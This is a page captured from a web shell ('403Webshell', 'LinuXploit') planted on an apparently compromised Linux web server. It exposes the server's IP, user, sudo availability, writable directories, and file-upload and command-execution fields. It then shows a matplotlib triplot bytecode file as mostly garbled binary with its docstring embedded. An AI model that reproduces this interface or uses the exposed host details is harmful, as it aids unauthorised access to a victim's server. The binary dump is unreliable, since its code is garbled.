403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tri/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tri/__pycache__/triplot.cpython-312.pyc
�

G8�c��6�ddlZddlmZddlmZddlmZd�Z	y)�N)�
Triangulationc��ddl}tj|i|��\}}}|j|j|j
}}}|r|dnd}|jjj|�\}	}
}tj|tj�}td|	|
|f�D]\}
}|��	|j|
|��|d}	i|�d|jdd�d	��}|	d
vr�t!j"||dt j$d��}t!j"||dt j$d��}|j&|j)�|j)�fi|��}n|j&ggfi|��}|d
}
i|�ddi�}|j+dd�|
d
vr|j&||fi|��}||zS|j&ggfi|��}||zS)a�
    Draw an unstructured triangular grid as lines and/or markers.

    Call signatures::

      triplot(triangulation, ...)
      triplot(x, y, [triangles], *, [mask=mask], ...)

    The triangular grid can be specified either by passing a `.Triangulation`
    object as the first parameter, or by passing the points *x*, *y* and
    optionally the *triangles* and a *mask*. If neither of *triangulation* or
    *triangles* are given, the triangulation is calculated on the fly.

    Parameters
    ----------
    triangulation : `.Triangulation`
        An already created triangular grid.
    x, y, triangles, mask
        Parameters defining the triangular grid. See `.Triangulation`.
        This is mutually exclusive with specifying *triangulation*.
    other_parameters
        All other args and kwargs are forwarded to `~.Axes.plot`.

    Returns
    -------
    lines : `~matplotlib.lines.Line2D`
        The drawn triangles edges.
    markers : `~matplotlib.lines.Line2D`
        The drawn marker nodes.
    rN�)�	linestyle�marker�colorr�None�zorder�)rr
)Nr	r� �)�axisr�label)�matplotlib.axesr�get_from_args_and_kwargs�x�y�edges�axes�_base�_process_plot_format�cbook�normalize_kwargs�mlines�Line2D�zip�
setdefault�get�np�insert�nan�plot�ravel�pop)�ax�args�kwargs�
matplotlib�trirrr�fmtrrr�kw�key�val�kw_lines�tri_lines_x�tri_lines_y�	tri_lines�
kw_markers�tri_markerss                     �8/usr/lib/python3/dist-packages/matplotlib/tri/triplot.py�triplotr5s���>�%�>�>��O��O��C��v��5�5�#�%�%����%�q�A��$�q�'�r�C�)���4�4�I�I�#�N��I�v�u�
�	�	���
�
�	6�B��8�"�F�E�2�4�$���S��?��M�M�#�s�#�$��;��I��
����&�&��1�%��H�
�/�/��i�i��%��!�R�V�V�!�<���i�i��%��!�R�V�V�!�<���B�G�G�K�-�-�/��1B�1B�1D�(�&�(�	��B�G�G�B��/�h�/�	���\�F��
���V��J��N�N�7�D�!�
�,�,��b�g�g�a��1�j�1���{�"�"��b�g�g�b�"�3�
�3���{�"�"�)
�numpyr�matplotlib.tri.triangulationr�matplotlib.cbookr�matplotlib.lines�linesrr5�r6r4�<module>r=s���6� �!�O#r6

Youez - 2016 - github.com/yon3zu
LinuXploit